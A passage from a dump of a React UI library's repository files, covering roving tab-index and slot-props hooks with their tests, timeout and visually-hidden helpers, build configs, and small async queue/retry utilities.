expect(button4).toHaveFocus();\n  });\n\n  test('focusNext function should move focus to the next enabled element', async () => {\n    const { user } = render(<TestComponent />);\n    let focusNextResult: number | undefined;\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n\n    await user.click(button1);\n\n    act(() => {\n      focusNextResult = focusNext();\n    });\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('0');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button2).toHaveFocus();\n    expect(focusNextResult).to.equal(1);\n  });\n\n  test('focusNext function should skip elements for which shouldFocus returns false', async () => {\n    let focusNextResult: number | undefined;\n    const shouldFocus = (element: HTMLElement | null) => element !== screen.getByTestId('button-2');\n\n    const { user } = render(<TestComponent shouldFocus={shouldFocus} />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n    button3.removeAttribute('disabled');\n\n    await user.click(button1);\n\n    act(() => {\n      focusNextResult = focusNext();\n    });\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('0');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button3).toHaveFocus();\n    expect(focusNextResult).to.equal(2);\n  });\n\n  test('focusNext function should return -1 if there are no next enabled elements to focus', async () => {\n    let focusNextResult: number | undefined;\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n\n    await user.click(button1);\n\n    act(() => {\n      focusNextResult = focusNext(() => false);\n    });\n\n    expect(focusNextResult).to.equal(-1);\n  });\n\n  test('should skip null items when focusing', async () => {\n    function TestComponentWithNullItems() {\n      const { getItemProps, getContainerProps } = useRovingTabIndex({\n        orientation: 'horizontal',\n      });\n\n      getItemProps(1); // This will create a null item in the elementsRef\n\n      return (\n        <div data-testid=\"container\" tabIndex={-1} {...getContainerProps()}>\n          <button {...getItemProps(0)} data-testid=\"button-1\">\n            Button 1\n          </button>\n          <button {...getItemProps(2)} data-testid=\"button-2\">\n            Button 2\n          </button>\n        </div>\n      );\n    }\n\n    const { user } = render(<TestComponentWithNullItems />);\n\n    await user.click(screen.getByTestId('button-1'));\n    await user.keyboard('{ArrowRight}');\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('0');\n  });\n\n  test('passing refs to the container and items should not break the hook', () => {\n    const containerRef = { current: null } as React.RefObject<HTMLDivElement | null>;\n    const buttonRef = { current: null } as React.RefObject<HTMLButtonElement | null>;\n    const TestComponentWithRef = React.forwardRef<\n      HTMLDivElement,\n      { buttonRef: React.Ref<HTMLButtonElement> }\n    >((props, ref) => {\n      const { getItemProps, getContainerProps } = useRovingTabIndex({\n        orientation: 'horizontal',\n        ...props,\n      });\n\n      return (\n        <div data-testid=\"container\" tabIndex={-1} {...getContainerProps(ref)}>\n          <button {...getItemProps(0, props.buttonRef)} data-testid=\"button-1\">\n            Button 1\n          </button>\n          <button {...getItemProps(1)} data-testid=\"button-2\">\n            Button 2\n          </button>\n        </div>\n      );\n    });\n\n    render(<TestComponentWithRef ref={containerRef} buttonRef={buttonRef} />);\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('0');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n    expect(containerRef.current).to.equal(screen.getByTestId('container'));\n    expect(buttonRef.current).to.equal(screen.getByTestId('button-1'));\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/useRovingTabIndex/useRovingTabIndex.ts",
    "content": "'use client';\n\nimport * as React from 'react';\n\nimport ownerDocument from '../ownerDocument';\nimport getActiveElement from '../getActiveElement';\n\nexport type UseRovingTabIndexOptions = {\n  focusableIndex?: number | undefined;\n  orientation: 'horizontal' | 'vertical';\n  isRtl?: boolean | undefined;\n  shouldFocus?: ((element: HTMLElement | null) => boolean) | undefined;\n  shouldWrap?: boolean | undefined;\n};\n\ntype UseRovingTabIndexReturn = {\n  getItemProps: (\n    index: number,\n    ref?: React.Ref<HTMLElement>,\n  ) => {\n    ref: (element: HTMLElement | null) => void;\n    tabIndex: number;\n  };\n  getContainerProps: (ref?: React.Ref<HTMLElement>) => {\n    onFocus: (event: React.FocusEvent<HTMLElement>) => void;\n    onKeyDown: (event: React.KeyboardEvent<HTMLElement>) => void;\n    ref: (element: HTMLElement | null) => void;\n  };\n  focusNext: (shouldSkipFocusOverride?: (element: HTMLElement | null) => boolean) => number;\n};\n\nconst SUPPORTED_KEYS = ['ArrowRight', 'ArrowLeft', 'ArrowUp', 'ArrowDown', 'Home', 'End'];\n\n/**\n * Provides roving tab index behavior for a container and its focusable children.\n * This is useful for implementing keyboard navigation in components like menus, tabs, and lists.\n * The hook manages the focus state of child elements and provides props to be spread on both the container and the items.\n * The container will handle keyboard events to move focus between items based on the specified orientation and wrapping behavior.\n *\n * @param options - Configuration options for the roving tab index behavior, including orientation, initial focusable index, RTL support, and custom focus logic.\n * @returns An object containing `getItemProps` and `getContainerProps` functions to be spread on the respective elements, and a `focusNext` function to programmatically move focus to the next item.\n */\nexport default function useRovingTabIndex(\n  options: UseRovingTabIndexOptions,\n): UseRovingTabIndexReturn {\n  const {\n    orientation,\n    focusableIndex: focusableIndexProp,\n    isRtl = false,\n    shouldFocus = internalShouldFocus,\n    shouldWrap = true,\n  } = options;\n\n  const initialFocusableIndex = focusableIndexProp ?? 0;\n\n  const [focusableIndex, setFocusableIndex] = React.useState(initialFocusableIndex);\n\n  const elementsRef = React.useRef<(HTMLElement | null)[]>([]);\n  const containerRef = React.useRef<HTMLElement | null>(null);\n  const previousFocusableIndexPropRef = React.useRef<number | undefined>(initialFocusableIndex);\n\n  if (\n    focusableIndexProp !== undefined &&\n    focusableIndexProp !== previousFocusableIndexPropRef.current\n  ) {\n    previousFocusableIndexPropRef.current = focusableIndexProp;\n\n    if (focusableIndexProp !== focusableIndex) {\n      setFocusableIndex(focusableIndexProp);\n    }\n  }\n\n  React.useEffect(() => {\n    if (\n      elementsRef.current.length === 0 ||\n      focusableIndex === -1 ||\n      focusableIndex >= elementsRef.current.length\n    ) {\n      return;\n    }\n\n    if (!shouldFocus(elementsRef.current[focusableIndex])) {\n      const nextIndex = focusNext(elementsRef, focusableIndex, 'next', false, shouldFocus);\n\n      setFocusableIndex(nextIndex);\n    }\n  }, [focusableIndex, shouldFocus]);\n\n  const getItemProps = React.useCallback(\n    (index: number, ref?: React.Ref<HTMLElement>) => ({\n      ref: handleRefs(ref, (elementNode) => {\n        elementsRef.current[index] = elementNode;\n      }),\n      tabIndex: index === focusableIndex ? 0 : -1,\n    }),\n    [focusableIndex],\n  );\n\n  const getContainerProps = React.useCallback(\n    (ref?: React.Ref<HTMLElement>) => {\n      const onFocus = (event: React.FocusEvent<HTMLElement>) => {\n        const focusedElement = event.target;\n        const focusedIndex = elementsRef.current.findIndex((element) => element === focusedElement);\n\n        if (focusedIndex !== -1) {\n          setFocusableIndex(focusedIndex);\n        }\n      };\n\n      const onKeyDown = (event: React.KeyboardEvent<HTMLElement | null>) => {\n        if (event.altKey || event.shiftKey || event.ctrlKey || event.metaKey) {\n          return;\n        }\n\n        if (!SUPPORTED_KEYS.includes(event.key)) {\n          return;\n        }\n\n        let previousItemKey = orientation === 'horizontal' ? 'ArrowLeft' : 'ArrowUp';\n        let nextItemKey = orientation === 'horizontal' ? 'ArrowRight' : 'ArrowDown';\n\n        if (orientation === 'horizontal' && isRtl) {\n          // swap previousItemKey with nextItemKey\n          previousItemKey = 'ArrowRight';\n          nextItemKey = 'ArrowLeft';\n        }\n\n        const currentFocus = getActiveElement(ownerDocument(containerRef.current));\n        const isFocusOnContainer = currentFocus === containerRef.current;\n        let direction: 'next' | 'previous' = 'next';\n        let currentIndex = focusableIndex;\n\n        switch (event.key) {\n          case previousItemKey:\n            direction = 'previous';\n            event.preventDefault();\n\n            if (isFocusOnContainer) {\n              // Set to length, so that the previous focused element will be the last one.\n              currentIndex = elementsRef.current.length;\n            }\n            break;\n          case nextItemKey:\n            event.preventDefault();\n\n            if (isFocusOnContainer) {\n              // Set to -1, so that the next focused element will be the first one.\n              currentIndex = -1;\n            }\n            break;\n          case 'Home':\n            event.preventDefault();\n            // Set to -1, so that the next focused element will be the first one.\n            currentIndex = -1;\n            break;\n          case 'End':\n            event.preventDefault();\n            direction = 'previous';\n            // Set to length, so that the previous focused element will be the last one.\n            currentIndex = elementsRef.current.length;\n            break;\n          default:\n            return;\n        }\n\n        focusNext(elementsRef, currentIndex, direction, shouldWrap, shouldFocus);\n      };\n\n      return {\n        onFocus,\n        onKeyDown,\n        ref: handleRefs(ref, (elementNode) => {\n          containerRef.current = elementNode;\n        }),\n      };\n    },\n    [focusableIndex, isRtl, orientation, shouldWrap, shouldFocus],\n  );\n\n  const focusNextExport = React.useCallback(\n    (shouldFocusOverride: ((element: HTMLElement | null) => boolean) | undefined) => {\n      const currentFocus = getActiveElement(ownerDocument(containerRef.current));\n      const isFocusOnContainer = currentFocus === containerRef.current;\n      let currentIndex = focusableIndex;\n\n      if (isFocusOnContainer) {\n        currentIndex = -1;\n      }\n\n      const nextIndex = focusNext(\n        elementsRef,\n        currentIndex,\n        'next',\n        true,\n        shouldFocusOverride ?? shouldFocus,\n      );\n\n      if (nextIndex !== -1) {\n        setFocusableIndex(nextIndex);\n      }\n\n      return nextIndex;\n    },\n    [focusableIndex, shouldFocus],\n  );\n\n  return { getItemProps, getContainerProps, focusNext: focusNextExport };\n}\n\nfunction focusNext(\n  elementsRef: React.RefObject<(HTMLElement | null)[]>,\n  currentIndex: number,\n  direction: 'next' | 'previous',\n  wrap: boolean,\n  shouldFocus: (element: HTMLElement | null) => boolean,\n): number {\n  if (elementsRef.current.length === 0) {\n    return -1;\n  }\n\n  const lastIndex = elementsRef.current.length - 1;\n  let wrappedOnce = false;\n  let nextIndex = getNextIndex(currentIndex, lastIndex, direction, wrap);\n  const startIndex = nextIndex;\n\n  while (nextIndex !== -1) {\n    // Prevent infinite loop.\n    if (nextIndex === startIndex) {\n      if (wrappedOnce) {\n        return -1;\n      }\n      wrappedOnce = true;\n    }\n\n    const nextElement = elementsRef.current[nextIndex];\n\n    // Same logic as useAutocomplete.js\n    if (!shouldFocus(nextElement)) {\n      // Move to the next element.\n      nextIndex = getNextIndex(nextIndex, lastIndex, direction, wrap);\n    } else {\n      nextElement?.focus();\n\n      return nextIndex;\n    }\n  }\n\n  return -1;\n}\n\nfunction getNextIndex(\n  currentIndex: number,\n  lastIndex: number,\n  direction: 'next' | 'previous',\n  wrap: boolean = true,\n): number {\n  if (direction === 'next') {\n    if (currentIndex === lastIndex) {\n      return wrap ? 0 : -1;\n    }\n\n    return currentIndex + 1;\n  }\n\n  if (currentIndex === 0) {\n    return wrap ? lastIndex : -1;\n  }\n  return currentIndex - 1;\n}\n\nfunction internalShouldFocus(element: HTMLElement | null) {\n  if (!element) {\n    return false;\n  }\n\n  return (\n    !element.hasAttribute('disabled') &&\n    element.getAttribute('aria-disabled') !== 'true' &&\n    element.hasAttribute('tabindex')\n  );\n}\n\nfunction handleRefs(...refs: (React.Ref<HTMLElement> | undefined)[]) {\n  return (node: HTMLElement | null) => {\n    refs.forEach((ref) => {\n      if (typeof ref === 'function') {\n        ref(node);\n      } else if (ref) {\n        ref.current = node;\n      }\n    });\n  };\n}\n"
  },
  {
    "path": "packages/mui-utils/src/useSlotProps/index.ts",
    "content": "export { default } from './useSlotProps';\nexport type { UseSlotPropsParameters, UseSlotPropsResult } from './useSlotProps';\n"
  },
  {
    "path": "packages/mui-utils/src/useSlotProps/useSlotProps.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { EventHandlers } from '@mui/utils/types';\nimport useSlotProps, { UseSlotPropsParameters, UseSlotPropsResult } from '@mui/utils/useSlotProps';\n\nconst { render } = createRenderer();\n\nfunction callUseSlotProps<\n  ElementType extends React.ElementType,\n  SlotProps,\n  ExternalForwardedProps,\n  ExternalSlotProps extends Record<string, unknown>,\n  AdditionalProps,\n  OwnerState,\n>(\n  parameters: UseSlotPropsParameters<\n    ElementType,\n    SlotProps,\n    ExternalForwardedProps,\n    ExternalSlotProps,\n    AdditionalProps,\n    OwnerState\n  >,\n) {\n  const TestComponent = React.forwardRef(\n    (\n      _: unknown,\n      ref: React.Ref<UseSlotPropsResult<ElementType, SlotProps, AdditionalProps, OwnerState>>,\n    ) => {\n      const slotProps = useSlotProps(parameters);\n      React.useImperativeHandle(ref, () => slotProps as any);\n      return null;\n    },\n  );\n\n  const ref =\n    React.createRef<UseSlotPropsResult<ElementType, SlotProps, AdditionalProps, OwnerState>>();\n  render(<TestComponent ref={ref} />);\n\n  return ref.current!;\n}\n\ndescribe('useSlotProps', () => {\n  it('returns the provided slot props if no overrides are present', () => {\n    const clickHandler = () => {};\n    const getSlotProps = (otherHandlers: EventHandlers) => {\n      expect(otherHandlers).to.deep.equal({});\n\n      return {\n        id: 'test',\n        onClick: clickHandler,\n      };\n    };\n\n    const result = callUseSlotProps({\n      elementType: 'div',\n      getSlotProps,\n      externalSlotProps: undefined,\n      ownerState: undefined,\n    });\n\n    expect(result).to.deep.equal({\n      id: 'test',\n      onClick: clickHandler,\n      ref: null,\n    });\n  });\n\n  it('calls getSlotProps with the external event handlers', () => {\n    const externalClickHandler = () => {};\n    const internalClickHandler = () => {};\n\n    const getSlotProps = (otherHandlers: EventHandlers) => {\n      expect(otherHandlers).to.deep.equal({\n        onClick: externalClickHandler,\n      });\n\n      return {\n        id: 'internalId',\n        onClick: internalClickHandler,\n      };\n    };\n\n    const result = callUseSlotProps({\n      elementType: 'div',\n      getSlotProps,\n      externalSlotProps: {\n        className: 'externalClassName',\n        id: 'externalId',\n        onClick: externalClickHandler,\n      },\n      ownerState: undefined,\n    });\n\n    expect(result).to.deep.equal({\n      className: 'externalClassName',\n      id: 'externalId',\n      onClick: internalClickHandler,\n      ref: null,\n    });\n  });\n\n  it('adds ownerState to props if the elementType is a component', () => {\n    const getSlotProps = () => ({\n      id: 'test',\n    });\n\n    function TestComponent(props: any) {\n      return <div {...props} />;\n    }\n\n    const result = callUseSlotProps({\n      elementType: TestComponent,\n      getSlotProps,\n      externalSlotProps: undefined,\n      ownerState: {\n        foo: 'bar',\n      },\n    });\n\n    expect(result).to.deep.equal({\n      id: 'test',\n      ref: null,\n      ownerState: {\n        foo: 'bar',\n      },\n    });\n  });\n\n  it('synchronizes refs provided by internal and external props', () => {\n    const internalRef = React.createRef();\n    const externalRef = React.createRef();\n\n    const getSlotProps = () => ({\n      ref: internalRef,\n    });\n\n    const result = callUseSlotProps({\n      elementType: 'div',\n      getSlotProps,\n      externalSlotProps: {\n        ref: externalRef,\n      },\n      ownerState: undefined,\n    });\n\n    result.ref('test');\n\n    expect(internalRef.current).to.equal('test');\n    expect(externalRef.current).to.equal('test');\n  });\n\n  // The \"everything but the kitchen sink\" test\n  it('constructs props from complex parameters', () => {\n    const internalRef = React.createRef();\n    const externalRef = React.createRef();\n    const additionalRef = React.createRef();\n\n    const internalClickHandler = spy();\n    const externalClickHandler = spy();\n    const externalForwardedClickHandler = spy();\n\n    const createInternalClickHandler =\n      (otherHandlers: EventHandlers) => (event: React.MouseEvent) => {\n        expect(otherHandlers).to.deep.equal({\n          onClick: externalClickHandler,\n        });\n\n        otherHandlers.onClick(event);\n        internalClickHandler(event);\n      };\n\n    // usually provided by the hook:\n    const getSlotProps = (otherHandlers: EventHandlers) => ({\n      id: 'internalId',\n      onClick: createInternalClickHandler(otherHandlers),\n      ref: internalRef,\n      className: 'internal',\n    });\n\n    const ownerState = {\n      test: true,\n    };\n\n    // provided by the user by appending additional props on the Base UI component:\n    const forwardedProps = {\n      'data-test': 'externalForwarded',\n      className: 'externalForwarded',\n      onClick: externalForwardedClickHandler,\n    };\n\n    // provided by the user via slotProps.*:\n    const componentProps = (os: typeof ownerState) => ({\n      'data-fromownerstate': os.test,\n      'data-test': 'externalComponentsProps',\n      className: 'externalComponentsProps',\n      onClick: externalClickHandler,\n      ref: externalRef,\n      id: 'external',\n      ownerState: {\n        foo: 'bar',\n      },\n    });\n\n    // set in the Base UI component:\n    const additionalProps = {\n      className: 'additional',\n      ref: additionalRef,\n    };\n\n    function TestComponent(props: any) {\n      return <div {...props} />;\n    }\n\n    const result = callUseSlotProps({\n      elementType: TestComponent,\n      getSlotProps,\n      externalForwardedProps: forwardedProps,\n      externalSlotProps: componentProps,\n      additionalProps,\n      ownerState,\n      className: ['another-class', 'yet-another-class'],\n    });\n\n    // `id` from componentProps overrides the one from getSlotProps\n    expect(result).to.haveOwnProperty('id', 'external');\n\n    // `slotProps` is called with the ownerState\n    expect(result).to.haveOwnProperty('data-fromownerstate', true);\n\n    // class names are concatenated\n    expect(result).to.haveOwnProperty(\n      'className',\n      'internal additional another-class yet-another-class externalForwarded externalComponentsProps',\n    );\n\n    // `data-test` from componentProps overrides the one from forwardedProps\n    expect(result).to.haveOwnProperty('data-test', 'externalComponentsProps');\n\n    // all refs should be synced\n    result.ref('test');\n    expect(internalRef.current).to.equal('test');\n    expect(externalRef.current).to.equal('test');\n    expect(additionalRef.current).to.equal('test');\n\n    // event handler provided in slotProps is called\n    result.onClick({} as React.MouseEvent);\n    expect(externalClickHandler.calledOnce).to.equal(true);\n\n    // event handler provided in forwardedProps is not called (was overridden by slotProps)\n    expect(externalForwardedClickHandler.notCalled).to.equal(true);\n\n    // internal event handler is called\n    expect(internalClickHandler.calledOnce).to.equal(true);\n\n    // internal ownerState is merged with the one provided by slotProps\n    expect(result.ownerState).to.deep.equal({\n      test: true,\n      foo: 'bar',\n    });\n  });\n\n  it('should call externalSlotProps with ownerState if skipResolvingSlotProps is not provided', () => {\n    const externalSlotProps = spy();\n    const ownerState = { foo: 'bar' };\n\n    const getSlotProps = () => ({\n      skipResolvingSlotProps: true,\n    });\n\n    callUseSlotProps({\n      elementType: 'div',\n      getSlotProps,\n      externalSlotProps,\n      ownerState,\n    });\n\n    expect(externalSlotProps.callCount).not.to.equal(0);\n    expect(externalSlotProps.args[0][0]).to.deep.equal(ownerState);\n  });\n\n  it('should not call externalSlotProps if skipResolvingSlotProps is true', () => {\n    const externalSlotProps = spy();\n\n    const getSlotProps = () => ({\n      skipResolvingSlotProps: true,\n    });\n\n    callUseSlotProps({\n      elementType: 'div',\n      getSlotProps,\n      externalSlotProps,\n      skipResolvingSlotProps: true,\n      ownerState: undefined,\n    });\n\n    expect(externalSlotProps.callCount).to.equal(0);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/useSlotProps/useSlotProps.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport useForkRef from '../useForkRef';\nimport appendOwnerState, { AppendOwnerStateReturnType } from '../appendOwnerState';\nimport mergeSlotProps, {\n  MergeSlotPropsParameters,\n  MergeSlotPropsResult,\n  WithCommonProps,\n} from '../mergeSlotProps';\nimport resolveComponentProps from '../resolveComponentProps';\n\nexport type UseSlotPropsParameters<\n  ElementType extends React.ElementType,\n  SlotProps,\n  ExternalForwardedProps,\n  ExternalSlotProps,\n  AdditionalProps,\n  OwnerState,\n> = Omit<\n  MergeSlotPropsParameters<SlotProps, ExternalForwardedProps, ExternalSlotProps, AdditionalProps>,\n  'externalSlotProps'\n> & {\n  /**\n   * The type of the component used in the slot.\n   */\n  elementType: ElementType | undefined;\n  /**\n   * The `slotProps.*` of the Base UI component.\n   */\n  externalSlotProps:\n    | ExternalSlotProps\n    | ((ownerState: OwnerState) => ExternalSlotProps)\n    | undefined;\n  /**\n   * The ownerState of the Base UI component.\n   */\n  ownerState: OwnerState;\n  /**\n   * Set to true if the slotProps callback should receive more props.\n   */\n  skipResolvingSlotProps?: boolean | undefined;\n};\n\nexport type UseSlotPropsResult<\n  ElementType extends React.ElementType,\n  SlotProps,\n  AdditionalProps,\n  OwnerState,\n> = AppendOwnerStateReturnType<\n  ElementType,\n  MergeSlotPropsResult<SlotProps, object, object, AdditionalProps>['props'] & {\n    ref: ((instance: any | null) => void) | null;\n  },\n  OwnerState\n>;\n\n/**\n * @ignore - do not document.\n * Builds the props to be passed into the slot of an unstyled component.\n * It merges the internal props of the component with the ones supplied by the user, allowing to customize the behavior.\n * If the slot component is not a host component, it also merges in the `ownerState`.\n *\n * @param parameters.getSlotProps - A function that returns the props to be passed to the slot component.\n */\nfunction useSlotProps<\n  ElementType extends React.ElementType,\n  SlotProps,\n  AdditionalProps,\n  OwnerState,\n>(\n  parameters: UseSlotPropsParameters<\n    ElementType,\n    SlotProps,\n    object,\n    WithCommonProps<Record<string, any>>,\n    AdditionalProps,\n    OwnerState\n  >,\n) {\n  const {\n    elementType,\n    externalSlotProps,\n    ownerState,\n    skipResolvingSlotProps = false,\n    ...other\n  } = parameters;\n  const resolvedComponentsProps = skipResolvingSlotProps\n    ? {}\n    : resolveComponentProps(externalSlotProps, ownerState);\n  const { props: mergedProps, internalRef } = mergeSlotProps({\n    ...other,\n    externalSlotProps: resolvedComponentsProps,\n  });\n\n  const ref = useForkRef(\n    internalRef,\n    resolvedComponentsProps?.ref,\n    parameters.additionalProps?.ref,\n  ) as ((instance: any | null) => void) | null;\n\n  const props: UseSlotPropsResult<ElementType, SlotProps, AdditionalProps, OwnerState> =\n    appendOwnerState(\n      elementType,\n      {\n        ...mergedProps,\n        ref,\n      },\n      ownerState,\n    );\n\n  return props;\n}\n\nexport default useSlotProps;\n"
  },
  {
    "path": "packages/mui-utils/src/useTimeout/index.ts",
    "content": "export { default } from './useTimeout';\nexport { Timeout } from './useTimeout';\n"
  },
  {
    "path": "packages/mui-utils/src/useTimeout/useTimeout.ts",
    "content": "'use client';\nimport useLazyRef from '../useLazyRef/useLazyRef';\nimport useOnMount from '../useOnMount/useOnMount';\n\nexport class Timeout {\n  static create() {\n    return new Timeout();\n  }\n\n  currentId: ReturnType<typeof setTimeout> | null = null;\n\n  /**\n   * Executes `fn` after `delay`, clearing any previously scheduled call.\n   */\n  start(delay: number, fn: Function) {\n    this.clear();\n    this.currentId = setTimeout(() => {\n      this.currentId = null;\n      fn();\n    }, delay);\n  }\n\n  clear = () => {\n    if (this.currentId !== null) {\n      clearTimeout(this.currentId);\n      this.currentId = null;\n    }\n  };\n\n  disposeEffect = () => {\n    return this.clear;\n  };\n}\n\nexport default function useTimeout() {\n  const timeout = useLazyRef(Timeout.create).current;\n\n  useOnMount(timeout.disposeEffect);\n\n  return timeout;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/visuallyHidden/index.ts",
    "content": "export { default } from './visuallyHidden';\n"
  },
  {
    "path": "packages/mui-utils/src/visuallyHidden/visuallyHidden.ts",
    "content": "const visuallyHidden: import('react').CSSProperties = {\n  border: 0,\n  clip: 'rect(0 0 0 0)',\n  height: '1px',\n  margin: '-1px',\n  overflow: 'hidden',\n  padding: 0,\n  position: 'absolute',\n  whiteSpace: 'nowrap',\n  width: '1px',\n};\n\nexport default visuallyHidden;\n"
  },
  {
    "path": "packages/mui-utils/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": true,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./src\",\n    \"types\": [\"react\", \"node\"]\n  },\n  \"include\": [\"src/**/*.ts\"],\n  \"exclude\": [\"src/**/*.test.ts*\", \"src/**/*.spec.ts*\"],\n  \"references\": [{ \"path\": \"../mui-types/tsconfig.build.json\" }]\n}\n"
  },
  {
    "path": "packages/mui-utils/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"allowJs\": false,\n    \"types\": [\"react\", \"vitest/globals\", \"node\"]\n  },\n  \"include\": [\"src/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-utils/vitest.config.browser.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, {\n  // getScrollbarSize needs this:\n  enableScrollbars: true,\n});\n"
  },
  {
    "path": "packages/mui-utils/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/pigment-css-react/README.md",
    "content": "# Pigment CSS\n\nThe package has moved to [mui/pigment-css](https://github.com/mui/pigment-css).\n"
  },
  {
    "path": "packages/pigment-react/README.md",
    "content": "# Pigment CSS\n\nThe package has moved [here](https://github.com/mui/pigment-css).\n"
  },
  {
    "path": "packages/waterfall/Queue.mjs",
    "content": "import waitUntil from './waitUntil.mjs';\n\nclass Queue {\n  pendingEntries = [];\n\n  inFlight = 0;\n\n  err = null;\n\n  constructor(worker, options = {}) {\n    this.worker = worker;\n    this.concurrency = options.concurrency || 1;\n  }\n\n  push = (entries) => {\n    this.pendingEntries = this.pendingEntries.concat(entries);\n    this.process();\n  };\n\n  process = () => {\n    const scheduled = this.pendingEntries.splice(0, this.concurrency - this.inFlight);\n    this.inFlight += scheduled.length;\n    scheduled.forEach(async (task) => {\n      try {\n        await this.worker(task);\n      } catch (err) {\n        this.err = err;\n      } finally {\n        this.inFlight -= 1;\n      }\n\n      if (this.pendingEntries.length > 0) {\n        this.process();\n      }\n    });\n  };\n\n  wait = (options = {}) =>\n    waitUntil(\n      () => {\n        if (this.err) {\n          this.pendingEntries = [];\n          throw this.err;\n        }\n\n        return {\n          predicate: options.empty\n            ? this.inFlight === 0 && this.pendingEntries.length === 0\n            : this.concurrency > this.pendingEntries.length,\n        };\n      },\n      {\n        delay: 50,\n      },\n    );\n}\n\nexport default Queue;\n"
  },
  {
    "path": "packages/waterfall/README.md",
    "content": "# Waterfall\n\nA set of utility functions for handling async/await at scale.\n"
  },
  {
    "path": "packages/waterfall/index.mjs",
    "content": "export { default as Queue } from './Queue.mjs';\nexport { default as retry } from './retry.mjs';\nexport { default as sleep } from './sleep.mjs';\nexport { default as waitUntil } from './waitUntil.mjs';\n"
  },
  {
    "path": "packages/waterfall/package.json",
    "content": "{\n  \"name\": \"@mui/internal-waterfall\",\n  \"version\": \"1.0.0\",\n  \"private\": \"true\",\n  \"type\": \"module\",\n  \"main\": \"index.mjs\"\n}\n"
  },
  {
    "path": "packages/waterfall/retry.mjs",
    "content": "// Inspired by https://github.com/zeit/async-retry\n// Without the retry dependency (1 kB gzipped +)\nasync function retry(tryFunction, options = {}) {\n  const { retries = 3 } = options;\n\n  let tries = 0;\n  let output = null;\n  let exitErr = null;\n\n  const bail = (err) => {\n    exitErr = err;\n  };\n\n  while (tries < retries) {\n    tries += 1;\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      output = await tryFunction({ tries, bail });\n      break;\n    } catch (err) {\n      if (tries >= retries) {\n        throw err;\n      }\n    }\n  }\n\n  if (exitErr) {\n    throw exitErr;\n  }\n\n  return output;\n}\n\nexport default retry;\n"
  },
  {
    "path": "packages/waterfall/sleep.mjs",
    "content": "function sleep(duration) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\nexport default sleep;\n"
  },
  {
    "path": "packages/waterfall/waitUntil.mjs",
    "content": "import sleep from './sleep.mjs';\n\nexport default async function waitUntil(test, options = {}) {\n  const { delay = 5e3, tries = -1 } = options;\n  const { predicate, result } = await test();\n\n  if (predicate) {\n    return result;\n  }\n\n  if (tries - 1 === 0) {\n    throw new Error('tries limit reached');\n  }\n\n  await sleep(delay);\n  return waitUntil(test, { ...options, tries: tries > 0 ? tries - 1 : tries });\n}\n"
  },
  {
    "path": "packages-internal/docs-utils/.npmignore",
    "content": ".tsbuildinfo\n"
  },
  {
    "path": "packages-internal/docs-utils/CHANGELOG.md",
    "content": "# Changelog\n\n## 1.0.3\n\nRenamed the package to @mui/internal-docs-utils\n\n## 1.0.2\n\nFixed incorrectly released package.\n\n## 1.0.0\n\nInitial release as an npm package.\n"
  },
  {
    "path": "packages-internal/docs-utils/README.md",
    "content": "# @mui/internal-docs-utils\n\nThis package contains utilities shared between MUI docs generation scripts.\nThis is an internal package not meant for general use.\n\n## Release\n\n1. Build the project: `pnpm build`\n2. Publish the build artifacts to npm: `pnpm release:publish`\n"
  },
  {
    "path": "packages-internal/docs-utils/package.json",
